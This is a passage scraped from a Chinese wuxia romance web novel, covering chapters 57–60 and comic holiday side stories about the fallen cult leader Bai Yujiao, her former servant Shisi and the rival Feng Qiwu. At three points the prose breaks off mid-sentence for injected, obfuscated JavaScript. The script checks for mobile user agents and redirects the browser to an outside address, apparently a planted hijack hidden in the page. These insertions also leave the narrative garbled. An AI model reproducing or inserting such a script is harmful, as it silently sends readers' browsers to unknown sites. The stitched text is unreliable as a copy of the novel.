我慢慢眨了一下眼睛,感觉睫毛沉重无比,“他不像我这般喜怒无常飞扬跋扈,他为人低调,从不发脾气,可惜的是,他的人缘跟我一样不好。所有人都挤兑他,鄙视他,要么就嫉妒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“人生若只如初见,若是只如初见该有多好……” 然后我就什么也不记得了。 ··· 第二天醒来的时候,我发现自己四仰八叉全方位占领了十四的床,并且披头散发衣衫狼藉。 我捂额头,撅着屁股从床上爬起来,整个人头重脚轻昏昏沉沉的,看来是严重宿醉了。 房间里没有一个人,我看了眼时辰,发现自己把早饭午饭全给错过了。心里正在懊恼,门突然被推开了,秦黛黛走进来,她背后还跟着穆忘尘。 “呀,四姑娘,你醒了呀?” 四姑娘?我还廿十九妹呢! 喂喂,我昨天似乎说的是“十四”吧?!难道你以为我是姓“石”,名“四”?! 秦黛黛也不管我一脸迷茫,走过来,甚是亲昵得抓住我的手腕,将我推推搡搡从床上拖起来。 “四姑娘,你的盘缠行李是被凤栖梧那混小子给抢了吧?女孩子家不带着随身物品总是多有不便的,今天恰巧我和忘尘哥哥要逛逛坊市,不如四姑娘也随我们一同去添置些衣物什么的吧。” 我看她一口一个四姑娘叫着顺口也就随她去了,但她要拐我出门我可不乐意。眼看我就要被秦黛黛拖出门,我突然一只手攀住门框,站住了,“等一下”。 我看了一眼十四,又看了一眼秦黛黛。 话说,你们俩出双入对比翼齐飞,带上我在一旁闪闪发光岂不尴尬? 于是我一挥手,甩开了秦黛黛的爪子,果断道,“我没钱。” “我有。” 接话的穆忘尘,他接话接的水到渠成理所当然,让秦黛黛那句“我借你”给活活憋在了嗓子眼里。 我皱眉,你有?你有又怎样?这算什么?施舍?顶你个肺的高帅富!当我是要饭的啊?! 我脸色不善,有发飙的前兆。 秦黛黛似乎已经把我定性为喜怒无常的娇惯妹子,她见现场气氛不对,惊出一头冷汗,赶紧打圆场,“四姑娘你是我的救命恩人,这点小事,你就权当是我报恩嘛。” 我挑眉扫了她一眼,哼了一声,悠悠丢出一句,“本姑娘不想去。”语落,我扶着门框作势就要关门。 结果,门阖上之前,穆忘尘一只长手伸过来,撑住了门板。 我冷着脸,凶恶瞪了他一眼,“想打架?” 穆忘尘有点无奈的笑了,他浅浅一弯嘴角只说了四个字,就成功劝服我跟着他们出门。 他说,“你饿了吧?” ··· 57. 断肠人在天涯 穆忘尘和秦黛黛,一个一袭鹤羽披风,一个着了一身貉子毛领的九缎锦长衫,一个插着红珊瑚步摇,一个斜挑碧玉簪子。一个是清丽可人的美人,一个是玉树临风的帅哥。从上下左右东西南北各个角度看过去,俩人都是周身环绕耀眼光芒天造地设一对璧人。这两位走在街上,一路引来各种欣羡倾慕的目光。 我呢,披头散发,一身酒气,顶着发灰的脸色挂着俩大黑眼圈跟在他们背后,活像个背后灵,一路接受路人各种诧异惊恐目光的洗礼。 走了大约半条街,秦黛黛转身进了个卖衣裳的店,穆忘尘刚想进门,突然想起来丢了什么东西似的,突然回过头来。 然后穆忘尘看到了我。 我在距离他们三丈之外的地方止步不前,面带怨气盯着他。 穆忘尘有些无奈地叹了口气,他转身折回来,走到我面前,微微低了头,“怎么不进去?” 正月的风还有点冷,我缩了一下脖子,冷冰冰盯着他,言简意赅问,“我的饭呢?” 穆忘尘呆了一下,随后微微一笑,“想吃什么?” 我抬手,用大拇指戳了戳背后,几步之外就是个卖包子的路边摊,“包子。肉的。” 于是,穆忘尘这位玉树临风风流倜傥的少侠、这位江湖上冉冉升起的后起之秀、这位武林盟的骨干副盟主,还就真的乖乖放下架子,跑到简陋的路边摊去替我排队买包子了,顺便还买了一根油腻腻的大鸡腿给我。 包子还有点烫手,一打开纸包,一股热气混着香浓的肉香扑面而来。我拐进一个巷口,找了个墙角坐下,旁若无人低头啃我包子和鸡腿。 穆忘尘就站在我旁边,抱着手臂背靠着墙壁,找了个合适的角度默默替我遮风。 他垂着头看我。 他爱看就看,我也不搭理,只管吃我的。 一只流浪的狗被香味吸引过来,它巴巴跑到我脚边一屁股坐下,吐着舌头,欢快得摇尾巴,一脸期待看着我。它那双水汪汪的大眼睛一眨不眨直勾勾盯着我,最后终于我被它盯得不好意思了,把啃 了一半的鸡腿扔到了他脚边。 小狼狗立即欢快摇着尾巴低下头啃起鸡腿来。 我摸了摸它的脑袋,它喉咙里发出低低的呜呜声。 穆忘尘也用手撑着膝盖蹲下来,伸出两根手指去挠小狗的脖子。然后,他轻声问,“喜欢?” 我知道他指的是狗。 于是我轻轻哼笑了一声,“不喜欢。狗太傻了。你给它一根骨头,它就认定你爱它,死心塌地地对你摇尾巴。” 穆忘尘闻言,摸着小狗的手还没收回来,却扭头看向我。他眉峰微微蹙着,目光里有一种复杂的东西。 我的目光与他的一错而过,心脏微微收紧。 ··· 其实,仔细想想,我现在跟武林盟的人混在一起一点好处也没有。 凤栖梧很可能正在满世界追杀我,他也可能假借镜花宫之名要与武林盟掐起来。而蜀中必然就是这场争斗的风口浪尖,我窝在这里没准哪天就中箭了。 江湖无限大,中原容不下我我可以去西域,西域容不下我大不了我跨过澜沧江去南疆。天大地大,不信找不到我的容身之所。这个破地方,已经……再无让我留恋的人和事了。 我把最后一口包子塞进嘴里,抬起头来,直直对上穆忘尘的眼睛,“大侠,借我点钱。” 穆忘尘也很干脆,“多少?” 我特无赖一笑,这是我第二次对他笑,笑的特别地痞无赖,“那自然是越多越好。” 于是,穆忘尘这位金主立马扭头去街对面的钱庄里提了五百两的银票给我。 我本来没想到他能借我那么多钱,捏着厚厚一沓子银票,我觉得心里有点没底,“十……不是,那个,穆……穆……”穆什么来着……我最近记性真是越发不好了。 他很善解人意得提醒我,“穆忘尘。” “好吧,穆忘尘,我们非亲非故,你就不怕我卷款逃跑再也不还你钱?” 穆忘尘微笑,“钱财乃身外之物,你拿去用就是。” 我皱眉,有点不解,“你是缺心眼对谁都这么好吗?还是你对我有什么企图?” 穆忘尘愣了愣,似乎他从来也没想过这个问题。他轻轻叹了口气,失笑,“你这丫头,在想些什么呢?瞧你的年纪,比戴戴也要小上不少吧?女孩子独自行走江湖,又这么小,我这个前辈多照顾你些也是应该的。”他说完,顿了一下,带了一点责备的语气轻声说,“你呀,太不会照顾自己了。” 我哼了一声,对他这话嗤之以鼻。 本座泡过的男人比你见过的女人还多,你还照顾我……? 穆忘尘大概是以为我以为他别有用心,所以有点尴尬。他弯起食指蹭了蹭鼻尖,“见你第一眼起,不知道为何,就觉得亲近。”他顿了一下,此地无银三百两一样补充,“我是把你当妹妹一般看待。” 我挑眉,特别讽刺得一笑,反问,“妹妹?穆公子我觉得你妹妹真是不少啊?秦黛黛是不是你众多好妹妹之一呀?真是看不出来,穆公子你表面一副正人君子清心寡欲的样子,还真够能沾花惹草的,而且还一点都不挑食哦?” 穆忘尘尴尬得看我,情急之下,脖子又微微有一些泛红,他急忙解释,“我和秦姑娘只是朋友……” 他话还没说完,秦黛黛的脑袋突然从裁缝店里头探出来,“忘尘哥哥,快来帮我看看是粉色的好看还是鹅黄色的好看,我都挑花眼了呢。” 我抱着手臂,挑起嘴角讽刺得笑了一声。 秦黛黛不明白我和穆忘尘之间发生了什么,还特别天真无辜得问我,“四姑娘你怎么不进来?也来挑几件衣服吧,我看到好几件特别适合你呢!” 我摆了摆手,“不了,我口渴,去对面买点酒喝,你们俩慢慢挑。”说完,我扭头就往街对面的酒馆走去。 等我回头的时候,穆忘尘已经一步三回头得被叽叽喳喳的秦黛黛拖进了裁缝店里。 我去酒馆买了一壶酒,换了点碎银子,然后就绕道出了城。城门外不远处是一家驿站,于是我去那里又买了一匹马。 古道西风瘦马。夕阳西下,骗了银子的恶人,当开溜了。 我翻身上马,勒住缰绳,回头望了一眼峨眉城。今日又是个阴天,小城笼罩在一片迷蒙的薄暮里,暮色昏黄,一切都是泛了黄的如真似幻。 都已经这份上了,为什么还要回头呢?我有点自嘲得笑了一声。 弃我去者,昨日之日不可留。我弃之而去者,亦与我在无任何瓜葛。 我猛的一甩马鞭,在空中打了个响鞭,马儿嘶鸣了一声向前奔去。 ··· 没过多久,我远走天涯之大计就不幸流产了。说来也真是背,我潇洒得沿着黄土路策马奔腾了不到十里,就望见不远处乌泱乌泱一排人,生生将去路拦住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349893|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 本座无奈,刹车勒马,轻轻叹了口气。 天色已经暗了下来。 夕阳落尽,一片暮色残杀中,十几个威风凛凛的黑衣人跨坐在高头大马上。 他们在大路上排成一横排。远远望去,阵仗整齐,人高马大,排场甚是浩大。 相比起对面的高帅富来,我这厢显得特别矮蹉丑。 师姐,你这急急忙忙,是要到哪里去?”一个轻浮的声音自人马墙之后响起。黑衣人让开一条道,一个鲜衣白马的家伙排众而出。 我一看到那家伙,瘪了一下嘴,脸色瞬间变得很黑。 当真是冤家路窄,狭路相逢;越是不想看见谁,走到哪都是他的影子——我个倒霉催的,竟然能在这里让凤栖梧迎面撞上了! “师姐,不,现在叫你师姐还真是不合适。你看你这幅样子,也许被叫声师妹比较合适……” 我翻了个白眼不理他的调戏。师妹?湿你妹啊! “你也别怨自己运气不好让我给碰上。您是不知道,您老一进峨眉,我的眼线就盯着你。你果然是没让我失望,这么快就自投罗网了。”凤栖嘴边挂着胜券在握的浅笑,“唰”得展开手里的乌竹骨扇,轻轻摇着手腕。 风扬起他鬓角的碎发,在空中一起一落。 我打了个哆嗦,寒风瑟瑟还耍帅,真替他冷。 凤栖梧见我不理他,便恶毒道,“师姐你现在还真是落魄呢,形单影只孤苦伶仃。啊,我想起来了,师姐你身边剩下的最后一个死忠的属下,似乎是为了保护你,而死在了修罗狱下。说起来,我当年是想过找他联手的,本以为他心机重,野心大,不料,原来竟是个傻子。” 我听到这里,平静抬起眼睛,慢慢扬起一个冷漠的笑意,笑着与他对视,“一切都变了,何必再提起往事。” 凤栖梧略皱了皱眉,“师姐,你当真是冷心冷血,他为你而死,你便转眼将他忘了。” 我耸了耸肩,“瞧你这话说的,为我而死,因我而死之人成千上万,我哪里记得过来?” 凤栖梧微微眯起眼睛,神色间尽是阴郁。 “行了,凤师弟,你够了吧。我徒弟给你了,镜花宫也给你了,我看,大半个江湖已经在你掌控之中,你那个称霸江湖的春秋大业也快实现了……” 我话还没说完,就听到凤栖梧头一扭,冷冷哼了一声,“别提你那个好徒弟了……” 我扬眉。 怎么?我的乖徒弟跟凤栖梧闹崩了? 年轻人总是这样,翻脸比翻书还快。上一秒对你低眉顺眼言笑晏晏,下一秒便横眉冷对,恨不得将你置之死地。我看不懂人心,我认了,我也累了,实在不想继续跟他们纠缠下去了。 我想到这里,轻微苦笑了一下,苦大仇深的叹了口气,语重心长劝凤栖梧,“哎,凤栖梧,你是个聪明人,我现在对你一点用也没有,你何苦费那么大劲抓我?” 凤栖梧闻言,嘴角的淡笑突然消失了。他瞪着我,嘴角动了一下似乎想说什么,但最终只是扯出了一个冷笑。 我无辜看着他。 他沉默得与我对视了足足五秒后,才缓缓说,“你以为,这些年,我做这些事,是为了谁?” 我也沉默了足足五秒钟。 然后,我倒抽了口冷气,用盯着天地奇葩的眼神盯着他,“千万不要告诉我你是为了我!”顺便在心里大叫一句:尼玛不带这么琼瑶的! 58. 番外篇【光棍节特辑】 光棍节特典 ———光棍节特典分割线刷屏飞过———— 说是特典,其实是小剧场来着,啊哈~ 《光棍节就欢乐得搅基吧!》 {壹口口口白玉蛟VS沈墨白} 虽然,咱们的女主白玉娇,是传说中后宫男宠三千的魔教教主,但是,大家恐怕也发现了,这丫其实就是一个悲催的光棍棍。 傍晚的时候,在家上网上的无聊的教主,呃,不,是在家绣花绣得无聊的教主收到一条微信,口误,是飞鸽传书。 教主打开传书,眯起眼睛瞅见上头龙飞凤舞写着一行小字: 晚上咱到望春风搓一顿吧!我请客! 署名:沈墨白。 教主看到“我请客”三个字顿时大喜,于是屁颠屁颠跑到望春风去找沈墨白。 教主最爱喝酒,沈墨白也不吝啬,要了五十瓶红星二锅头,管教主一直喝到饱。 那传说中的江湖后起之秀,武林盟主沈墨白童鞋,也是悲催的光棍一条。但是,这家伙的悲剧完全是自己酿成的。 家里有个黄花大闺女巴巴等着圆房,这丫却整天在千宜阁那种情|色场所鬼混,还有恋童癖整日缠着个小萝莉。 二人正边喝酒边聊着八卦话题,忽然,教主听到旁边俩爷们在窃窃私语着八卦他们俩。 “你看看,这两人肯定是情侣!” “情侣还敢来我们这些光棍面前卖恩爱?!光棍节上街的情侣通通拉出去爆菊花啊敢不敢!” “我咒他们是失散多年的亲兄妹!” 教主多喝了两杯,脾气上来了,当即一拍桌子站起来,反咒:“我擦!我咒你们这俩基友是失散多年的亲兄弟!” 那俩基友也不淡定了,同时拍桌子站起来,作势就要跟教主互相捅菊花。 沈墨白喝得也不少,打着酒嗝,扶着桌子,摇摇晃晃站起来,“那个,老白你跟这两位基友先玩着,我去个WC……” 说完,一步三晃,走了。 等沈墨白回来的时候,原本人满为患的楼层,已经空无一人。 唯独剩下满地破桌子烂板凳碎衣服,以及一个匍匐在地上的小二,以及一只坐在桌子上喝酒的魔教教主。 小二把满桌子红星二锅头都换成了洋河大曲,正颤颤巍巍跪在桌子旁边,一口一个“女王请,女王威武”。 教主一看到沈墨白回来,“噗嗤”就笑喷了,“你裤子那儿怎么湿了一块?不会是喝太多没憋住……” 沈墨白貌似酒也醒了,一脸黑线得摇了摇头,“这都怪你。” 白玉蛟惊讶,“怪我?” 沈墨白叹:“自从我成名之后,就经常发生这样的事。” “经常?”白玉蛟又惊奇了。 沈墨白一拍桌子,怒道,“可不是!我在WC里的时候,经常旁边的人尿着尿着就转过身来大叫,‘这不是沈墨白嘛!’” {贰口口口雪鉴VS十四} 同样是在望春风,就在沈墨白跟白玉蛟的脚底下那层,十四跟雪鉴正在喝酒。别问我为毛他们能凑一起喝酒,因为这是番外啊!IMPOSSIBLE IS NOTHING! 十四:“你怎么能这样?!” 雪鉴抖了一下,往后仰了仰,试图跟十四拉开距离。 此时,十四整个人趴在桌子上,一只手抓住雪鉴的衣领,脸距离雪鉴的鼻尖儿不过五厘米。他眼睛里布着血丝,嘴里是冲人的酒气,他的表情,甚神似那万恶的河马教教主的经典苦大仇深崩毁脸。 周围的人都默默的,带着诡异的微笑注视着雪鉴和十四。 “你喝醉了……”雪鉴尽量淡定道。 “我没醉!你为什么要抛弃我!那个男人难道比我更好吗?!” 雪鉴又抖了一下,脸色更难堪了一分。 周围,有更多人默默把关注的目光投到他们身上。 十四仰天洗了一大口气,接着一把抱住雪鉴,吼道,“我为了你,心甘情愿违背道德,心甘情愿屈居你之下,为什么我做了这么多你都看不到?!” 雪鉴当即炸毛,不过他木有头发,所以也不知道是哪里的毛炸了,不好意思我恶趣味了…… 手忙脚乱推开他,“走,我带你去WC,你吐一动就清醒了……乖……” 十四不甘,使劲抱住雪鉴光悠悠的脑袋使劲蹂躏,“55555,你脑袋怎么是光了,你难道出家了也不肯跟我在一起么……5555” 十四嚎叫的声音逐渐减小。 因为,雪鉴直接拖着这醉得昏天黑地的家伙的后领,直奔着WC去了。 他们背后,余下的众人兴奋讨论起来。 “好基情!好基友!” “也许他们是失散已久的亲兄弟……” “看到没有!是和尚啊!多么禁|欲!多么禁忌!多么劲爆!天哪,我好晕,我把持不住了……” “你说……他们去WC干嘛了?” “……” {叁口口口十四VS沈墨白} 十四正在XUXU,不要问我XUXU是什么。不懂XUX ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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(路人:喂喂,怎么变成剧本台词式的对白了?!作者:我太懒了……) 顾染织【忍怒不发,拖着女主往外走】:您说呢? 白玉蛟【被塞上马车,忽然灵光乍现】:噢,你是十四吧!你怎么不仅失忆了还整容了……? 顾染织【嘴角抽】:不是。 白玉蛟:我知道了!那你是什么白!你换了个身份,所以连演员也换了哈哈哈…… 顾染织【爆青筋】:也不是。 白玉蛟【迷茫】:那你是谁啊?凤栖梧?不像啊,凤栖梧比你臭屁比你傲娇……噢,你是雪鉴带上了假发是吧?哈哈哈,雪鉴你带上假发还挺美的嘛~~~ 顾染织【深呼吸深呼吸来回十次】:教主…… 白玉蛟【爆发,扯头发】:哎呀!你别卖关子了!你到底是谁啊!你难道不知道我有‘人脸辨识障碍症’嘛?!男主男配男反派那么一大摞加一起我怎么记得清啊!!! 【到达镜花宫。不要问我为毛一眨眼就从南京回成都了,我是不会告诉你为什么的!】 顾染织【把白玉蛟扔床上,站在床边开始宽衣解带】:教主,既然记不得脸,身体总记得吧……要是记不住,今天我就让你记住为止…… 接着,一整夜…… “哗——哗——” 口口口口口。 各种屏蔽。 59. 败走锦官道+中秋节番外 凤栖梧这次沉默了更久的时间。 他的脸色先是僵硬,接着额角隐隐有青筋在跳——看他忍怒不发的模样,我真生怕他当场脑溢血。 凤栖梧咬了一下薄薄的嘴唇,那眯起来的凤眸里显露出几分弃妇般的怨气。 凤栖梧本就是个高傲到了血液骨髓里的人,这么多年来在我的淫威之下都不肯对我低头,不肯在我面前降了丝毫的身份。也许多年前,就是因为他的傲慢,当众人都视我为神魔,在我面前不是逢迎巴结就是战战兢兢的时候,唯独他凤栖梧总是冷冷看着,带着轻蔑的笑容,正因如此,五年前,十年前,我总是对他另眼相看的,毕竟,所谓得不到的才是最好的。 但是现在,本座只想对他视若无睹。 凤栖梧撤出一丝冷笑,道,“还真让你猜对了。除了你,还有谁能让我不惜像狗一样,每天逢迎巴结,虚情假意,结交权贵,甚至不惜费尽心机机关算尽!我自知害人的阴损事做了太多,回头路什么的,我早就已经不去想了。还好,最后是我赢了,终于让我把你从教主的位置上拽下来了!你现在什么都没了,你现在什么都不是了,镜花宫易主,你武功被废,顾染织也死了,从此以后,你终于可以只属于我一个人了!” 凤栖梧越说表情越阴森,最后那表情让我都忍不住打了个冷颤。 照理说,活了三十年,看尽世事变迁人心叵测,我本来自己已经修炼到“坐看庭前花开花落云卷云舒”的境界,今日想来,自己果然修为尚浅啊!仅仅是凤栖梧这么一番话,本座这心肝便受到了颇为严重的惊吓,我刹那间觉得这个世界实乃从头到脚不可理喻! 与沈墨白那酸掉大牙的表白比起来,凤栖梧这个杀气腾腾因爱生恨爱恨交织的表白的恐怖指数和瘆人指数又飙高了一个层级! 我背后寒毛齐刷刷立正站好…… 今天我要是被凤栖梧抓回去,吾命休矣! 我思及至此,大脑中各种思绪千回百转化为一句话——三十六计,逃命要紧! 下一瞬间,我化思虑为行动,毫不犹豫猛得一勒缰绳,调转马头,下了狠劲,死命一踢马刺。 我看到分凤栖梧的表情微妙的变了一下。显然是没料到我人品竟然这么烂,听完他惊天动地的表白竟然扭头就跑。 本来趁着他这一瞬间的愣神我是妥妥可以跑掉的,但是! 我□□的可怜畜生,发出了一声哀鸣,紧接着……这小畜生慌乱中竟然被自己的腿给绊倒了,它身体歪了歪,然后哀嚎了一声,在地上摔了个四脚朝天。 卧槽!驿站的家伙坑爹啊!竟然卖了我一匹肢体不协调的次品! 我凄惨无比,摔得一头一脸土,身上还压了个畜生。等我从马肚子底下爬出来,我发现自己已经被悲催得被包围了。 凤栖梧居高临下得看着我。 他看着我的眼神里又一丝怜悯,一丝怅然。 然后,这变态冷冷吐出俩字儿,“动手。” 随着凤栖梧一声令下,那十几个黑衣人整齐划一得从马背上腾空而起,他们的身影在阴暗的暮色中化为一道道虚影,速度快得让人难以看得清。 我站起来,凭着感觉分辨那十几人的方位和动作。他们几乎是一刻不停地变化着位置,我听到空气中不时传来金属摩擦的声音。 我一瞬间认出了这个阵法——天罗地网。这是鬼王宗最厉害的杀阵,据说,自从此阵百年前创立以来,普天之下,从未有一人能够从此阵中生还。 一股杀气突然从我侧面袭来,我向后退了一小步避开,但一瞬间另外一道寒气从我背后扑来,我迅速闪避,但手臂仍旧猛地一痛。一道银丝如同利剑一般擦过我的皮肤,割裂我的血肉,鲜血飞溅。 虽然看不清楚,我现在也知道我一步也不能乱动。 这个天罗地网阵是由无数道天蚕丝布下,若是我撞上这些丝线,会在一瞬间被这些削铁如泥的丝线割得身首异处。刚才只是被轻微的擦刮,我的胳膊已经被割下一道深可见骨的伤,若不是躲得及时,恐怕我这胳膊早掉地上了。 我站在原地,并不觉得害怕,只是心底涌上一股强烈的无力感。 我这人,人品渣,嘴巴坏,坏事做绝,虚活三十年除了武功高这个优点之外就再也没有任何长出了。没想到,我现在落魄至此,连这唯一的可取之处都被狠狠踩碎了。 “白玉蛟,你老老实实的跟我回去吧。”凤栖梧站在阵外,以一种胜利者的姿态,嘴角含笑慵懒说道。 我慢慢收敛了架势,最后缴械投降,侧着头看着他,食指撑着额角,脸上露出辛苦思考的表情,“跟你回去,你能善待我么?” 凤栖梧眯起眼睛,笑得像条大狐狸,“如果你乖乖听话的话,我会好好疼你的。” 疼我?我冷冷扬了一下嘴角。 一瞬间,我将四肢百骸气海丹田里所有的内力全数积聚起来,在众人皆来不及反应的时候,突然出 击。 强大的内力潮水一般向四面八方爆裂,我听到几声惨叫同时响起,来不及后撤的几个黑衣人被我暴怒的内力震伤,向后摔出去重重落在地上。另外几人虽然避开了,但是漫天的天蚕丝尽数被我内力震断,飘飘洒洒如同柳絮一般软绵无力地落下来。 凤栖梧脸上的笑容僵住了。 我冷冷瞥了他一眼,随即张狂得仰天大笑起来,在漫天飘落的丝线中一步步走向凤栖梧,“凤师弟啊,你的记性不好了么?我白玉娇,十年前是何种功力你不记得了么?你以为,我散功了就能任人宰割了?你以为,仅仅凭一个‘天罗地网’阵,就能困得住我白玉蛟了?”我走到他身边,眼角丢给他一记讥讽的嘲意,“俗话说,瘦死的骆驼比马大嘛,如今的我,踩死几只蚂蚁还是区区不在话下的。你啊,未免也太小瞧我了。” 所有人木然看着我一步步走开,凤栖梧此时也完全被震住了,一动不动,惊骇僵在原地盯着我。 我从他面前走过去,他也没有阻止。 我拿一个骄傲的背影对着他们,正面却是灰头土脸,惨不忍睹。 其实,我刚刚只不过是做戏,我白玉蛟再怎么强,也是个人,又不是怪物,怎么可能散功了还能打遍天下无敌手。现在我已是强弩之末,只不过是憋着一口气在硬撑罢了。 我本来就内伤未愈,经络根本无法承受如此强大的内力。刚才我强行释放自己所有的内力,奇经八脉尽数受损。我现在站着都费劲,一呼一吸之间,胸腔就一阵抽痛。 我咬牙一步步向前走,冷汗一瞬间便湿透重衣,手心冰冷颤抖得几乎拿不住剑。我不需要撑太久,只要再一点点,只要坚持走到树林里,躲过凤栖梧…… 再走几步.......只要再坚持一下...... 但是,天不遂人愿。 我最终还是高估了自己的意志力。我走出二十步左右的时候,再也支撑不住,踉跄了一步,腿一软,眼前一黑,单膝跪在了地上。 “操……”我低着头,手狠狠捶了一下地面。 好吧,我认栽了。 我娘当年那句话怎么说来着?哦——莫装逼,装逼被雷劈。 果真。 接下来等着我的是什么人间惨剧?希望凤栖梧不要找了一帮容嬷嬷来拿针扎我。 就在我几乎认定,自己这次确定一定以及肯定死定了的时候,却突然听到背后一阵异动。 我慢慢地回头,先看到距离我不到两米之处,有一个意欲来抓我面目可憎的黑衣人。然后,我的视线越过黑衣人,看到一个白衣男人的身影一闪而过。 那人身影快如闪电,衣袂翻飞,兔起鹘落之间,快很准,犀利无比,一脚把凤栖梧从马背上踹下去,紧接着手中银光一闪,剑气横扫,众人定睛时,他已经将三尺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349895|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清锋抵住了凤栖梧的喉咙。 “不要乱动,”执剑的男人淡淡道,“不然休怪我手下刀剑无眼。” 凤栖梧瞪着面前的人,他那双凤眼里充满了不可置信,“十四?竟然是你?你没失忆” 我有点紧张得去看十四的反应,他却像根本没听到凤栖梧说了什么似的,简单得说,“放她走。” 黑衣人有些犹豫得看向凤栖梧,十四于是当机立断,剑锋一颤,剑气一盛,挑断了凤栖梧一撮长发。 不赖嘛,以气为刃,伤人于无形。十四现在的剑术是越发精湛了,不过一年不见,他已经把穆家的剑法练到了臻于化境的程度,我这厢都忍不住有点佩服起他来了。 看来……他果然是不跟着我会比较有出息呢。 我果断从地上爬起来,轻轻咳嗽了两声,“穆忘尘,这里就交给你了,我先撤了……” 我说完,就大义凌然抛弃了革命战友,扭头手脚并用着就往树林里钻。 ——————————————中秋节特典番外—————————————————— 【月饼梗】 ACT.1. 奈何桥前,顾染织站在忘川之畔,他望着孟婆递来的碗久久没有接。 顾染织:“我想在这里等着她来。” 孟婆:“可是她是女主角一时半会儿死不了啊,况且,她死后可能还会捎带着男一号二号三号四号。这种祸害你还是早早忘了他,早日投胎重生的好。” 顾染织:“喝了这碗汤,我就能永远忘了她吗?” 孟婆:“你情根深种,恐怕我这孟婆汤的料不够猛啊!” 顾染织:“那怎么办......\" 孟婆叹息道“我看你也是个可怜人,就给你我的传家秘方吧!” 然后,孟婆掏出一个五仁月饼...... ACT.2. 中秋节,沈墨白被玉宇琼楼的众人捉回去过节。花前月下,沈墨白他娘安排了大白和颜静行月下相亲。当大白面对着一脸娇羞的颜静行的时候,大白心情很差。 其实,有时候你觉得一件东西很差,只是缺乏对比罢了。 后来,侍女端上了一盘累了五层高的五仁月饼。 后来,处女座男白斩鸡坐到沈墨白旁边妄图搭讪。 后来,颜静行打开电视看是看于妈版的《笑傲江湖》,袁姗姗的脸在屏幕上晃来晃去。 后来,一只看门犬溜达过来在沈墨白脚边PIA了一坨狗屎。 沈墨白默默无语,突然觉得,那坨狗屎看起来真是无比可爱....... ACT.3. 雪鉴还俗了,和穆忘尘不顾世俗礼教的束缚,双宿双飞,好基友一生一世一起走去了...... 后来,白玉蛟问雪鉴为毛会答应穆忘尘的追求。 雪鉴呕出一口老血,咬牙道:“他表白之后,当着我的的面吃掉了一整盒的月饼!这贱人他妈的连五仁都敢吃,还有什么事情做不出来?!” ACT.4. 凤栖梧路过镜花宫的水库,不小心把一盒五仁月饼掉了进去,一周之后,凤栖梧占领了镜花宫。 凤栖梧瞬间领悟了什么。 后来,凤栖梧把一吨五仁月饼扔进了长江,然后,凤栖梧占领了中原武林。 ACT.5 秦黛黛相亲失败,沮丧归来。 杜青娥:“为什么不喜欢对方呢?” 秦黛黛:“因为他是处女座。” 杜青娥谆谆教诲:“不要太看中星座这种东西,人好才是最重要的....BALABALABALA......” 秦黛黛被杜青娥念叨得暴走了,说:“我还没幼稚到以星座取人!他……他竟然喜欢吃五仁月饼!” 杜青娥拍案而起,竖起拇指:“拒绝得对!!! 60. 我把忠犬吃了 天色已经逐渐暗了下来,我一头钻进树林里,不管三七二十一就往林子深处跑。当然是没跑几步就眼前发黑,四肢无力,一呼一吸之间都费劲了全力,全身经络都痛得令人头皮发麻。 跑了没多远,就听到背后有响动,一回头,还好发现是十四追了上来。他二话不说,一只手捞起我的腰就把我扛到肩膀上继续跑路。 我也没挣扎,不是因为我没节操,是因为我实在没力气了…… 身后远远传来有人追踪的声音,我费劲得小声抱怨,“你干嘛不干脆一剑杀了凤栖梧,你不杀他就算是挟持了他也好啊,你看,这些家伙阴魂不散追上来了……” 十四轻轻一笑,我趴在他背上能感觉到他胸腔轻微的震动。 他一只手覆上我的后背轻轻拍了拍,抚慰小动物似的动作:“你受内伤了,别多说话。” 天色越来越暗,最后几乎陷入了伸手不见五指的境地。夜色中的森林像是一头巨大的蛰伏着的野兽,它的一呼一吸都化作阴冷的寒风,每一次流动整个山林都发出沉重的回响。 我们就在这个巨兽的躯体上没头没脑得乱窜,四周全是高耸入天的树木枝干和藤条,根本就没有路可走,只能在灌木之间困难的穿行。在这样的情况下,没有人能分得清东西南北。 好吧,我们迷路了。背后的追杀声也早就销声匿迹,追我们的人八成也迷路了。 十四停下了脚步,我拍了拍他的肩膀,示意他把我放下来。刚才那姿势抱着我一点也不舒服,我头晕的要死。 我按着太阳穴,背靠在一棵树上休息,“你跟踪我?” 十四没有否认,却纠正道,“担心你。” 呦,这小子不仅武功长进,嘴皮子也长进。 真不赖。 我还想再说什么,但是身体实在是支撑不足,眼前一黑,忽然撑住身体的手臂一软,人就无力地倒下去。十四手快,一瞬间把我捞到手臂里。 我在他的臂弯里已经陷入了半昏迷状态,最后只觉得他小心翼翼把我横抱起来 。 ··· 雨不知道是什么时候下起来的,淅淅沥沥的雨声在耳边回响不绝。 